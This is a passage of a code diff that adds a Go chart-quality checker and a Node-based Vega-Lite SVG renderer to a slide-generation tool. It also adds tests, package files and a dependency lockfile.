+	MissingDirectLabelCount int `json:"missing_direct_label_count"`
+	DecorativeChartCount    int `json:"decorative_chart_count"`
+}
+
+type ChartQualityIssue struct {
+	Path     string `json:"path"`
+	Code     string `json:"code"`
+	Message  string `json:"message"`
+	Severity string `json:"severity"`
+}
+
+type ChartQualityChart struct {
+	ID       string `json:"id"`
+	SlideID  string `json:"slide_id"`
+	Renderer string `json:"renderer"`
+	SVGPath  string `json:"svg_path"`
+	SpecPath string `json:"spec_path,omitempty"`
+}
+
+func CheckChartQuality(root string) (ChartQualityReport, error) {
+	safeRoot, _, err := readRun(root)
+	if err != nil {
+		return ChartQualityReport{}, err
+	}
+	manifest, present, err := readChartManifest(safeRoot)
+	if err != nil {
+		return ChartQualityReport{}, err
+	}
+	report := ChartQualityReport{
+		Status: "passed",
+		Issues: []ChartQualityIssue{},
+		Charts: []ChartQualityChart{},
+	}
+	if !present {
+		if err := writeChartQualityReport(safeRoot, report); err != nil {
+			return report, err
+		}
+		return report, nil
+	}
+	sourceIDs, sourceErr := readKnownSourceIDs(safeRoot)
+	if sourceErr != nil {
+		addChartQualityIssue(&report, "research/sources.json", "svglide.chart_quality.sources_unreadable", sourceErr.Error())
+		sourceIDs = map[string]bool{}
+	}
+	renderReport, renderErr := readChartRenderReport(safeRoot)
+	if renderErr != nil {
+		addChartQualityIssue(&report, chartRenderReceiptPath, "svglide.chart_quality.missing_render_receipt", renderErr.Error())
+	}
+	renderByID := chartRenderEntriesByID(renderReport)
+	for _, chart := range manifest.Charts {
+		renderer := normalizedRequiredChartRenderer(chartEntryRenderer(manifest, chart))
+		svgPath := strings.TrimSpace(chart.SVGPath)
+		item := ChartQualityChart{
+			ID:       strings.TrimSpace(chart.ID),
+			SlideID:  strings.TrimSpace(chart.SlideID),
+			Renderer: renderer,
+			SVGPath:  svgPath,
+			SpecPath: strings.TrimSpace(chart.SpecPath),
+		}
+		report.Charts = append(report.Charts, item)
+		report.Metrics.Charts++
+		if renderer == requiredChartRendererVegaLite {
+			report.Metrics.VegaLiteCharts++
+			validateVegaLiteChartQuality(&report, safeRoot, chart, sourceIDs, renderByID, renderErr == nil)
+		}
+		if svgPath == "" {
+			addChartQualityIssue(&report, chartManifestPath, "svglide.chart_quality.missing_svg", fmt.Sprintf("chart %q has no svg_path", chart.ID))
+			continue
+		}
+		raw, err := readRunRegularArtifact(safeRoot, svgPath)
+		if err != nil {
+			addChartQualityIssue(&report, svgPath, "svglide.chart_quality.missing_svg", fmt.Sprintf("chart %q SVG cannot be read: %v", chart.ID, err))
+			continue
+		}
+		checkChartSVGQuality(&report, svgPath, string(raw))
+	}
+	if len(report.Issues) > 0 {
+		report.Status = "failed"
+	}
+	if err := writeChartQualityReport(safeRoot, report); err != nil {
+		return report, err
+	}
+	return report, nil
+}
+
+func validateVegaLiteChartQuality(report *ChartQualityReport, safeRoot string, chart chartManifestEntry, sourceIDs map[string]bool, renderByID map[string]ChartRenderEntry, hasRenderReceipt bool) {
+	id := strings.TrimSpace(chart.ID)
+	if id == "" {
+		id = strings.TrimSpace(chart.SVGPath)
+	}
+	for _, required := range []struct {
+		value string
+		code  string
+		name  string
+	}{
+		{strings.TrimSpace(chart.BriefID), "svglide.chart_quality.missing_brief_id", "brief_id"},
+		{strings.TrimSpace(chart.SpecPath), "svglide.chart_quality.missing_spec_path", "spec_path"},
+		{strings.TrimSpace(chart.SVGPath), "svglide.chart_quality.missing_svg", "svg_path"},
+		{strings.TrimSpace(chart.SourceID), "svglide.chart_quality.missing_source", "source_id"},
+		{strings.TrimSpace(chart.Unit), "svglide.chart_quality.missing_unit", "unit"},
+		{strings.TrimSpace(chart.Takeaway), "svglide.chart_quality.missing_takeaway", "takeaway"},
+		{strings.TrimSpace(chart.RenderReceipt), "svglide.chart_quality.missing_render_receipt", "render_receipt"},
+	} {
+		if required.value == "" {
+			addChartQualityIssue(report, chartManifestPath, required.code, fmt.Sprintf("chart %q is missing %s", id, required.name))
+		}
+	}
+	if chart.RenderReceipt != "" && chart.RenderReceipt != chartRenderReceiptPath {
+		addChartQualityIssue(report, chartManifestPath, "svglide.chart_quality.missing_render_receipt", fmt.Sprintf("chart %q render_receipt = %q, want %q", id, chart.RenderReceipt, chartRenderReceiptPath))
+	}
+	if sourceID := strings.TrimSpace(chart.SourceID); sourceID != "" && !sourceIDs[sourceID] {
+		addChartQualityIssue(report, chartManifestPath, "svglide.chart_quality.unknown_source_id", fmt.Sprintf("chart %q references unknown source_id %q", id, sourceID))
+	}
+	validateVegaLiteSpec(report, safeRoot, chart)
+	if !hasRenderReceipt {
+		return
+	}
+	renderEntry, ok := renderByID[id]
+	if !ok {
+		addChartQualityIssue(report, chartRenderReceiptPath, "svglide.chart_quality.render_receipt_missing_chart", fmt.Sprintf("render receipt has no entry for chart %q", id))
+		return
+	}
+	if strings.TrimSpace(chart.SpecPath) != "" {
+		raw, err := readRunRegularArtifact(safeRoot, chart.SpecPath)
+		if err != nil {
+			addChartQualityIssue(report, chart.SpecPath, "svglide.chart_quality.missing_spec_path", err.Error())
+		} else if got := sha256Hex(raw); got != renderEntry.SpecSHA256 {
+			addChartQualityIssue(report, chart.SpecPath, "svglide.chart_quality.spec_hash_mismatch", fmt.Sprintf("chart %q spec hash %s, want %s", id, got, renderEntry.SpecSHA256))
+		}
+	}
+	if strings.TrimSpace(chart.SVGPath) != "" {
+		raw, err := readRunRegularArtifact(safeRoot, chart.SVGPath)
+		if err != nil {
+			addChartQualityIssue(report, chart.SVGPath, "svglide.chart_quality.missing_svg", err.Error())
+		} else if got := sha256Hex(raw); got != renderEntry.SVGSHA256 {
+			addChartQualityIssue(report, chart.SVGPath, "svglide.chart_quality.svg_hash_mismatch", fmt.Sprintf("chart %q SVG hash %s, want %s", id, got, renderEntry.SVGSHA256))
+		}
+	}
+}
+
+func validateVegaLiteSpec(report *ChartQualityReport, safeRoot string, chart chartManifestEntry) {
+	specPath := strings.TrimSpace(chart.SpecPath)
+	if specPath == "" {
+		return
+	}
+	raw, err := readRunRegularArtifact(safeRoot, specPath)
+	if err != nil {
+		addChartQualityIssue(report, specPath, "svglide.chart_quality.missing_spec_path", err.Error())
+		return
+	}
+	var spec map[string]json.RawMessage
+	if err := json.Unmarshal(raw, &spec); err != nil {
+		addChartQualityIssue(report, specPath, "svglide.chart_quality.invalid_spec_json", err.Error())
+		return
+	}
+	if len(spec["$schema"]) == 0 {
+		addChartQualityIssue(report, specPath, "svglide.chart_quality.spec_missing_schema", "Vega-Lite spec must include $schema")
+	}
+	if len(spec["mark"]) == 0 {
+		addChartQualityIssue(report, specPath, "svglide.chart_quality.spec_missing_mark", "Vega-Lite spec must include mark")
+	}
+	if len(spec["encoding"]) == 0 {
+		addChartQualityIssue(report, specPath, "svglide.chart_quality.spec_missing_encoding", "Vega-Lite spec must include encoding")
+	}
+	if !vegaLiteSpecHasData(spec) {
+		addChartQualityIssue(report, specPath, "svglide.chart_quality.spec_missing_data", "Vega-Lite spec must include data.values or a local data reference")
+	}
+}
+
+func vegaLiteSpecHasData(spec map[string]json.RawMessage) bool {
+	raw := spec["data"]
+	if len(raw) == 0 {
+		return false
+	}
+	var data map[string]json.RawMessage
+	if err := json.Unmarshal(raw, &data); err != nil {
+		return false
+	}
+	if len(data["values"]) > 0 {
+		return true
+	}
+	var urlValue string
+	if err := json.Unmarshal(data["url"], &urlValue); err == nil && strings.HasPrefix(urlValue, "assets/charts/data/") {
+		return true
+	}
+	return false
+}
+
+func readChartRenderReport(safeRoot string) (ChartRenderReport, error) {
+	raw, err := readRunRegularArtifact(safeRoot, chartRenderReceiptPath)
+	if err != nil {
+		return ChartRenderReport{}, err
+	}
+	var report ChartRenderReport
+	if err := json.Unmarshal(raw, &report); err != nil {
+		return ChartRenderReport{}, fmt.Errorf("%s: invalid JSON: %w", chartRenderReceiptPath, err)
+	}
+	return report, nil
+}
+
+func chartRenderEntriesByID(report ChartRenderReport) map[string]ChartRenderEntry {
+	out := map[string]ChartRenderEntry{}
+	for _, entry := range report.Charts {
+		if id := strings.TrimSpace(entry.ID); id != "" {
+			out[id] = entry
+		}
+	}
+	return out
+}
+
+func checkChartSVGQuality(report *ChartQualityReport, path, svg string) {
+	visible := strings.ToLower(visibleSemanticText(svg))
+	raw := strings.ToLower(svg)
+	if !chartHasUnit(visible) {
+		report.Metrics.MissingUnitCount++
+		addChartQualityIssue(report, path, "svglide.chart_quality.missing_unit", "chart must include a visible unit such as $, %, bps, billion, million, points, goals, or score")
+	}
+	if !chartHasSource(visible) {
+		report.Metrics.MissingSourceCount++
+		addChartQualityIssue(report, path, "svglide.chart_quality.missing_source", "chart must include a visible source note or source label")
+	}
+	hasAxis := chartHasAxis(raw, visible)
+	hasDirectLabel := chartHasDirectLabel(raw, visible)
+	if !hasAxis {
+		report.Metrics.MissingAxisCount++
+	}
+	if !hasDirectLabel {
+		report.Metrics.MissingDirectLabelCount++
+	}
+	if !hasAxis || !hasDirectLabel {
+		addChartQualityIssue(report, path, "svglide.chart_quality.missing_labeling", "chart must include readable axes or direct labels")
+	}
+	if chartLooksDecorative(raw, visible) {
+		report.Metrics.DecorativeChartCount++
+		addChartQualityIssue(report, path, "svglide.chart_quality.decorative_chart", "chart looks decorative: it lacks enough labels, axes, units, or source context")
+	}
+}
+
+func writeChartQualityReport(safeRoot string, report ChartQualityReport) error {
+	target, err := ensureRunFileTargetForWrite(safeRoot, chartQualityReportPath)
+	if err != nil {
+		return err
+	}
+	return writeJSON(target, report)
+}
+
+func addChartQualityIssue(report *ChartQualityReport, path, code, message string) {
+	report.Issues = append(report.Issues, ChartQualityIssue{
+		Path:     filepath.ToSlash(path),
+		Code:     code,
+		Message:  message,
+		Severity: "error",
+	})
+}
+
+func chartHasUnit(visible string) bool {
+	for _, token := range []string{"$", "%", "bps", "bp", "points", "point", "score", "goals", "goal", "usd", "rmb", "billion", "million", "bn", "分", "美元", "亿元", "亿", "倍"} {
+		if strings.Contains(visible, token) {
+			return true
+		}
+	}
+	return false
+}
+
+func chartHasSource(visible string) bool {
+	normalized := strings.NewReplacer("：", ":", "﹕", ":", "：", ":", "\n", " ").Replace(visible)
+	for _, token := range []string{
+		"source:",
+		"sources:",
+		"data source:",
+		"source note:",
+		"来源:",
+		"数据源:",
+		"资料来源:",
+		"数据来源:",
+		"sec 10-k",
+		"sec 10-q",
+		"company filings",
+		"company filing",
+		"annual report",
+		"quarterly report",
+		"official statistics",
+		"official data",
+		"fifa official",
+		"olympics official",
+		"年报",
+		"财报",
+	} {
+		if strings.Contains(normalized, token) {
+			return true
+		}
+	}
+	return false
+}
+
+func chartHasAxis(raw, visible string) bool {
+	if strings.Contains(raw, "role=\"axis\"") || strings.Contains(raw, "aria-label=\"axis") || strings.Contains(raw, "class=\"axis") {
+		return true
+	}
+	for _, token := range []string{"x-axis", "y-axis", "axis", "year", "quarter", "fy", "q1", "q2", "q3", "q4", "年度", "季度"} {
+		if strings.Contains(raw, token) || strings.Contains(visible, token) {
+			return true
+		}
+	}
+	return false
+}
+
+func chartHasDirectLabel(raw, visible string) bool {
+	if strings.Contains(raw, "direct-label") || strings.Contains(raw, "data-label") || strings.Contains(raw, "mark-text") {
+		return true
+	}
+	return strings.Count(raw, "<text") >= 2 && containsDigit(visible)
+}
+
+func chartLooksDecorative(raw, visible string) bool {
+	barCount := strings.Count(raw, "<rect") + strings.Count(raw, "<path")
+	textCount := strings.Count(raw, "<text")
+	return barCount >= 2 && (textCount == 0 || !containsDigit(visible) || !chartHasUnit(visible) || !chartHasSource(visible))
+}

internal/svglide/chart_quality_test.go

@@ -0,0 +1,113 @@
+package svglide
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+	"testing"
+)
+
+func TestChartQualityRequiresUnitsSourcesAndLabels(t *testing.T) {
+	initStatusTestRun(t)
+	copyChartQualityTestData(t, "weak_financial_chart", "demo")
+
+	report, err := CheckChartQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed", report.Status)
+	}
+	if report.Metrics.Charts != 1 || report.Metrics.VegaLiteCharts != 1 {
+		t.Fatalf("metrics = %+v, want one Vega-Lite chart", report.Metrics)
+	}
+	if report.Metrics.MissingUnitCount != 1 {
+		t.Fatalf("missing unit count = %d, want 1", report.Metrics.MissingUnitCount)
+	}
+	if report.Metrics.MissingSourceCount != 1 {
+		t.Fatalf("missing source count = %d, want 1", report.Metrics.MissingSourceCount)
+	}
+	if report.Metrics.MissingAxisCount != 1 || report.Metrics.MissingDirectLabelCount != 1 {
+		t.Fatalf("label metrics = %+v, want missing axis and direct label", report.Metrics)
+	}
+	if report.Metrics.DecorativeChartCount != 1 {
+		t.Fatalf("decorative chart count = %d, want 1", report.Metrics.DecorativeChartCount)
+	}
+	for _, code := range []string{
+		"svglide.chart_quality.missing_unit",
+		"svglide.chart_quality.missing_source",
+		"svglide.chart_quality.missing_labeling",
+		"svglide.chart_quality.decorative_chart",
+	} {
+		if !chartQualityIssueCodesContain(report.Issues, code) {
+			t.Fatalf("issues = %+v, want %s", report.Issues, code)
+		}
+	}
+}
+
+func TestChartQualityDoesNotTreatCompanyComparisonAsSource(t *testing.T) {
+	initStatusTestRun(t)
+	mustWriteTestFile(t, "demo/assets/charts/chart_manifest.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"renderer":"vega-lite","charts":[{"id":"peer","slide_id":"s1","renderer":"vega-lite","spec_path":"assets/charts/specs/peer.vl.json","svg_path":"assets/charts/peer.svg"}]}`)
+	mustWriteTestFile(t, "demo/assets/charts/peer.svg", `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 240"><g role="axis"><text>FY2024</text></g><text>Company comparison</text><text>$22.1B</text><rect width="120" height="160"/></svg>`)
+
+	report, err := CheckChartQuality("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed for missing source", report.Status)
+	}
+	if report.Metrics.MissingSourceCount != 1 {
+		t.Fatalf("missing source count = %d, want 1", report.Metrics.MissingSourceCount)
+	}
+	if !chartQualityIssueCodesContain(report.Issues, "svglide.chart_quality.missing_source") {
+		t.Fatalf("issues = %+v, want missing source", report.Issues)
+	}
+}
+
+func copyChartQualityTestData(t *testing.T, name string, root string) {
+	t.Helper()
+	srcRoot := chartQualityTestDataRoot(t, name)
+	err := filepath.WalkDir(srcRoot, func(path string, entry os.DirEntry, walkErr error) error {
+		if walkErr != nil {
+			return walkErr
+		}
+		if entry.IsDir() {
+			return nil
+		}
+		rel, err := filepath.Rel(srcRoot, path)
+		if err != nil {
+			return err
+		}
+		raw, err := os.ReadFile(path)
+		if err != nil {
+			return err
+		}
+		target := filepath.Join(root, rel)
+		if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
+			return err
+		}
+		return os.WriteFile(target, raw, 0o644)
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+}
+
+func chartQualityTestDataRoot(t *testing.T, name string) string {
+	t.Helper()
+	_, file, _, ok := runtime.Caller(0)
+	if !ok {
+		t.Fatal("runtime.Caller failed")
+	}
+	return filepath.Join(filepath.Dir(file), "testdata", "chart_quality", name)
+}
+
+func chartQualityIssueCodesContain(issues []ChartQualityIssue, code string) bool {
+	for _, issue := range issues {
+		if issue.Code == code {
+			return true
+		}
+	}
+	return false
+}

internal/svglide/chart_render.go

@@ -0,0 +1,211 @@
+package svglide
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+)
+
+const chartRenderReceiptPath = "receipts/chart_render.json"
+
+type ChartRenderReport struct {
+	Status   string             `json:"status"`
+	Renderer string             `json:"renderer"`
+	Charts   []ChartRenderEntry `json:"charts"`
+	Issues   []ChartRenderIssue `json:"issues"`
+}
+
+type ChartRenderEntry struct {
+	ID         string `json:"id"`
+	SlideID    string `json:"slide_id"`
+	SpecPath   string `json:"spec_path"`
+	SVGPath    string `json:"svg_path"`
+	SpecSHA256 string `json:"spec_sha256"`
+	SVGSHA256  string `json:"svg_sha256"`
+	Command    string `json:"command"`
+}
+
+type ChartRenderIssue struct {
+	Code    string `json:"code"`
+	Path    string `json:"path,omitempty"`
+	Message string `json:"message"`
+}
+
+func RenderVegaLiteCharts(root string) (ChartRenderReport, error) {
+	safeRoot, _, err := readRun(root)
+	if err != nil {
+		return ChartRenderReport{}, err
+	}
+	report := ChartRenderReport{
+		Status:   "passed",
+		Renderer: "node-vega-lite",
+		Charts:   []ChartRenderEntry{},
+		Issues:   []ChartRenderIssue{},
+	}
+	manifest, present, err := readChartManifest(safeRoot)
+	if err != nil {
+		return ChartRenderReport{}, err
+	}
+	if !present || len(manifest.Charts) == 0 {
+		return report, writeChartRenderReport(safeRoot, report)
+	}
+	nodePath, err := exec.LookPath("node")
+	if err != nil {
+		report.Status = "failed"
+		report.Issues = append(report.Issues, ChartRenderIssue{
+			Code:    "svglide.chart_render.missing_node",
+			Message: "node executable is not available in PATH",
+		})
+		return report, writeChartRenderReport(safeRoot, report)
+	}
+	rendererScript, err := findNodeChartRendererScript()
+	if err != nil {
+		report.Status = "failed"
+		report.Issues = append(report.Issues, ChartRenderIssue{
+			Code:    "svglide.chart_render.missing_node_dependencies",
+			Path:    "internal/svglide/chart_renderer",
+			Message: err.Error(),
+		})
+		return report, writeChartRenderReport(safeRoot, report)
+	}
+	if err := validateNodeChartRendererDependencies(rendererScript); err != nil {
+		report.Status = "failed"
+		report.Issues = append(report.Issues, ChartRenderIssue{
+			Code:    "svglide.chart_render.missing_node_dependencies",
+			Path:    "internal/svglide/chart_renderer",
+			Message: err.Error(),
+		})
+		return report, writeChartRenderReport(safeRoot, report)
+	}
+	for _, chart := range manifest.Charts {
+		if chartEntryRenderer(manifest, chart) != requiredChartRendererVegaLite {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartRenderIssue{
+				Code:    "svglide.chart_render.unsupported_renderer",
+				Path:    chartManifestPath,
+				Message: fmt.Sprintf("chart %q renderer must be vega-lite for local SVG deck", chart.ID),
+			})
+			continue
+		}
+		specPath := strings.TrimSpace(chart.SpecPath)
+		svgPath := strings.TrimSpace(chart.SVGPath)
+		if specPath == "" || svgPath == "" {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartRenderIssue{
+				Code:    "svglide.chart_render.missing_path",
+				Path:    chartManifestPath,
+				Message: fmt.Sprintf("chart %q must include spec_path and svg_path", chart.ID),
+			})
+			continue
+		}
+		specAbs, err := safeRunPath(safeRoot, specPath)
+		if err != nil {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartRenderIssue{Code: "svglide.chart_render.invalid_spec_path", Path: specPath, Message: err.Error()})
+			continue
+		}
+		svgAbs, err := safeRunPath(safeRoot, svgPath)
+		if err != nil {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartRenderIssue{Code: "svglide.chart_render.invalid_svg_path", Path: svgPath, Message: err.Error()})
+			continue
+		}
+		if err := os.MkdirAll(filepath.Dir(svgAbs), 0o755); err != nil {
+			return report, err
+		}
+		cmd := exec.Command(nodePath, rendererScript, "--input", specAbs, "--output", svgAbs)
+		output, err := cmd.CombinedOutput()
+		if err != nil {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartRenderIssue{
+				Code:    "svglide.chart_render.node_renderer_failed",
+				Path:    specPath,
+				Message: strings.TrimSpace(string(output)),
+			})
+			continue
+		}
+		specRaw, err := readRunRegularArtifact(safeRoot, specPath)
+		if err != nil {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartRenderIssue{Code: "svglide.chart_render.read_spec", Path: specPath, Message: err.Error()})
+			continue
+		}
+		svgRaw, err := readRunRegularArtifact(safeRoot, svgPath)
+		if err != nil {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartRenderIssue{Code: "svglide.chart_render.read_svg", Path: svgPath, Message: err.Error()})
+			continue
+		}
+		report.Charts = append(report.Charts, ChartRenderEntry{
+			ID:         strings.TrimSpace(chart.ID),
+			SlideID:    strings.TrimSpace(chart.SlideID),
+			SpecPath:   specPath,
+			SVGPath:    svgPath,
+			SpecSHA256: sha256Hex(specRaw),
+			SVGSHA256:  sha256Hex(svgRaw),
+			Command:    "node internal/svglide/chart_renderer/render-vegalite.mjs --input " + specPath + " --output " + svgPath,
+		})
+	}
+	return report, writeChartRenderReport(safeRoot, report)
+}
+
+func writeChartRenderReport(safeRoot string, report ChartRenderReport) error {
+	target, err := ensureRunFileTargetForWrite(safeRoot, chartRenderReceiptPath)
+	if err != nil {
+		return err
+	}
+	return writeJSON(target, report)
+}
+
+func sha256Hex(raw []byte) string {
+	sum := sha256.Sum256(raw)
+	return "sha256:" + hex.EncodeToString(sum[:])
+}
+
+func findNodeChartRendererScript() (string, error) {
+	if _, file, _, ok := runtime.Caller(0); ok {
+		candidate := filepath.Join(filepath.Dir(file), "chart_renderer", "render-vegalite.mjs")
+		if info, statErr := os.Stat(candidate); statErr == nil && info.Mode().IsRegular() {
+			return candidate, nil
+		}
+	}
+	cwd, err := os.Getwd()
+	if err != nil {
+		return "", err
+	}
+	for dir := cwd; ; dir = filepath.Dir(dir) {
+		for _, rel := range []string{
+			filepath.Join("internal", "svglide", "chart_renderer", "render-vegalite.mjs"),
+			filepath.Join("chart_renderer", "render-vegalite.mjs"),
+		} {
+			candidate := filepath.Join(dir, rel)
+			if info, statErr := os.Stat(candidate); statErr == nil && info.Mode().IsRegular() {
+				return candidate, nil
+			}
+		}
+		parent := filepath.Dir(dir)
+		if parent == dir {
+			break
+		}
+	}
+	return "", fmt.Errorf("cannot locate internal/svglide/chart_renderer/render-vegalite.mjs from %s", cwd)
+}
+
+func validateNodeChartRendererDependencies(scriptPath string) error {
+	root := filepath.Dir(scriptPath)
+	for _, rel := range []string{
+		filepath.Join("node_modules", "vega", "package.json"),
+		filepath.Join("node_modules", "vega-lite", "package.json"),
+	} {
+		path := filepath.Join(root, rel)
+		if info, err := os.Stat(path); err != nil || !info.Mode().IsRegular() {
+			return fmt.Errorf("missing %s; run npm --prefix internal/svglide/chart_renderer install", filepath.ToSlash(rel))
+		}
+	}
+	return nil
+}

internal/svglide/chart_render_test.go

@@ -0,0 +1,66 @@
+package svglide
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestChartRenderRendersVegaLiteSpecWithNodeRenderer(t *testing.T) {
+	if script, err := findNodeChartRendererScript(); err != nil {
+		t.Skip(err)
+	} else if err := validateNodeChartRendererDependencies(script); err != nil {
+		t.Skip(err)
+	}
+	initStatusTestRun(t)
+	mustWriteTestFile(t, "demo/assets/charts/chart_manifest.json", `{"prompt_contract":`+promptContractJSON(StageAssets)+`,"renderer":"vega-lite","charts":[{"id":"revenue","slide_id":"s1","renderer":"vega-lite","brief_id":"revenue","spec_path":"assets/charts/specs/revenue.vl.json","svg_path":"assets/charts/revenue.svg","source_id":"web1","unit":"$","takeaway":"Revenue increased","render_receipt":"receipts/chart_render.json"}]}`)
+	mustWriteTestFile(t, "demo/assets/charts/specs/revenue.vl.json", minimalVegaLiteSpecForTest())
+
+	report, err := RenderVegaLiteCharts("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "passed" {
+		t.Fatalf("status = %q, issues = %+v", report.Status, report.Issues)
+	}
+	if report.Renderer != "node-vega-lite" {
+		t.Fatalf("renderer = %q, want node-vega-lite", report.Renderer)
+	}
+	if len(report.Charts) != 1 || report.Charts[0].SpecSHA256 == "" || report.Charts[0].SVGSHA256 == "" {
+		t.Fatalf("render report = %+v, want one hashed chart", report)
+	}
+	if info, err := os.Stat(filepath.Join("demo", "assets", "charts", "revenue.svg")); err != nil || info.Size() == 0 {
+		t.Fatalf("rendered SVG missing or empty, info=%+v err=%v", info, err)
+	}
+}
+
+func TestChartRenderWritesEmptyReceiptForNoChartManifest(t *testing.T) {
+	initStatusTestRun(t)
+
+	report, err := RenderVegaLiteCharts("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "passed" || len(report.Charts) != 0 {
+		t.Fatalf("report = %+v, want passed empty report", report)
+	}
+}
+
+func minimalVegaLiteSpecForTest() string {
+	return `{
+  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
+  "width": 640,
+  "height": 320,
+  "data": {
+    "values": [
+      {"quarter": "Q1", "revenue": 2},
+      {"quarter": "Q2", "revenue": 5}
+    ]
+  },
+  "mark": "bar",
+  "encoding": {
+    "x": {"field": "quarter", "type": "nominal", "title": "Quarter"},
+    "y": {"field": "revenue", "type": "quantitative", "title": "Revenue ($B)"}
+  }
+}`
+}

internal/svglide/chart_renderer/.gitignore

@@ -0,0 +1 @@
+node_modules/

internal/svglide/chart_renderer/package-lock.json

@@ -0,0 +1,917 @@
+{
+  "name": "@svglide/chart-renderer",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "name": "@svglide/chart-renderer",
+      "dependencies": {
+        "vega": "^6.2.0",
+        "vega-lite": "^6.4.3"
+      },
+      "engines": {
+        "node": ">=20"
+      }
+    },
+    "node_modules/@types/estree": {
+      "version": "1.0.9",
+      "resolved": "https://bnpm.byted.org/@types/estree/-/estree-1.0.9.tgz",
+      "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==",
+      "license": "MIT"
+    },
+    "node_modules/@types/geojson": {
+      "version": "7946.0.16",
+      "resolved": "https://bnpm.byted.org/@types/geojson/-/geojson-7946.0.16.tgz",
+      "integrity": "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==",
+      "license": "MIT"
+    },
+    "node_modules/ansi-regex": {
+      "version": "6.2.2",
+      "resolved": "https://bnpm.byted.org/ansi-regex/-/ansi-regex-6.2.2.tgz",
+      "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
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+        "vega-dataflow": "^6.1.0",
+        "vega-scale": "^8.1.0",
+        "vega-statistics": "^2.0.0",
+        "vega-util": "^2.1.0"
+      }
+    },
+    "node_modules/wrap-ansi": {
+      "version": "9.0.2",
+      "resolved": "https://bnpm.byted.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz",
+      "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-styles": "^6.2.1",
+        "string-width": "^7.0.0",
+        "strip-ansi": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+      }
+    },
+    "node_modules/y18n": {
+      "version": "5.0.8",
+      "resolved": "https://bnpm.byted.org/y18n/-/y18n-5.0.8.tgz",
+      "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/yargs": {
+      "version": "18.0.0",
+      "resolved": "https://bnpm.byted.org/yargs/-/yargs-18.0.0.tgz",
+      "integrity": "sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg==",
+      "license": "MIT",
+      "dependencies": {
+        "cliui": "^9.0.1",
+        "escalade": "^3.1.1",
+        "get-caller-file": "^2.0.5",
+        "string-width": "^7.2.0",
+        "y18n": "^5.0.5",
+        "yargs-parser": "^22.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=23"
+      }
+    },
+    "node_modules/yargs-parser": {
+      "version": "22.0.0",
+      "resolved": "https://bnpm.byted.org/yargs-parser/-/yargs-parser-22.0.0.tgz",
+      "integrity": "sha512-rwu/ClNdSMpkSrUb+d6BRsSkLUq1fmfsY6TOpYzTwvwkg1/NRG85KBy3kq++A8LKQwX6lsu+aWad+2khvuXrqw==",
+      "license": "ISC",
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=23"
+      }
+    }
+  }
+}

internal/svglide/chart_renderer/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "@svglide/chart-renderer",
+  "private": true,
+  "type": "module",
+  "engines": {
+    "node": ">=20"
+  },
+  "scripts": {
+    "render": "node ./render-vegalite.mjs"
+  },
+  "dependencies": {
+    "vega": "^6.2.0",
+    "vega-lite": "^6.4.3"
+  }
+}

internal/svglide/chart_renderer/render-vegalite.mjs

@@ -0,0 +1,28 @@
+import fs from "node:fs";
+import path from "node:path";
+import * as vega from "vega";
+import * as vegaLite from "vega-lite";
+
+function readArg(name) {
+  const index = process.argv.indexOf(name);
+  if (index < 0 || index + 1 >= process.argv.length) {
+    throw new Error(`missing required argument ${name}`);
+  }
+  return process.argv[index + 1];
+}
+
+const input = readArg("--input");
+const output = readArg("--output");
+const raw = fs.readFileSync(input, "utf8");
+const vlSpec = JSON.parse(raw);
+const vgSpec = vegaLite.compile(vlSpec).spec;
+const view = new vega.View(vega.parse(vgSpec), {
+  renderer: "svg",
+  logLevel: vega.Warn
+});
+
+await view.runAsync();
+const svg = await view.toSVG();
+fs.mkdirSync(path.dirname(output), { recursive: true });
